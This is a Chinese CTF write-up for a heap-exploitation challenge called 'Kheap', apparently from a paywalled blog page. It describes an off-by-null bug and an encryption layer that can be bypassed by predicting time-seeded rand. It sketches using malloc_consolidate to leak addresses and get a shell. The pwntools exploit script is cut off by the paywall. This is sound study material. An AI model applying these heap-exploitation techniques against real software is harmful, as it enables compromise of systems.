
保护是全开的
add

我们注意到首先会对我们的输入内容进行加密。
加密的算法里面大量用到随机数,但是不重要,伪随机我们可以通过在脚本中使用随机数来绕过。

有个off by null。
delete
正常delete,没啥问题。
edit
也存在那个off by off。
show

正常show,show出来我们需要解密。
所以整体看下来就是off by null然后加了一个加密程序。
我们只需要通过随机数绕过那个加密,利用malloc consilidate解决chunk大小不够,不好泄露地址的问题,就可以了。
exp
#coding:utf-8
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./Kheap')
libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6')
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
time=libcc.time(0)
libcc.srand(time)
r = process('./Kheap')
def decode(a,b):
s=''
p=libcc.rand()%256
q=libcc.rand()%256
m=libcc.rand

本文介绍了一种名为Kheap的程序中存在的漏洞利用方法。通过对输入内容的加密算法进行分析,利用随机数绕过加密,结合内存管理技巧如mallocconsilidate解决chunk大小不足的问题,最终实现地址泄露并获取shell。
最低0.47元/天 解锁文章
532

被折叠的 条评论
为什么被折叠?



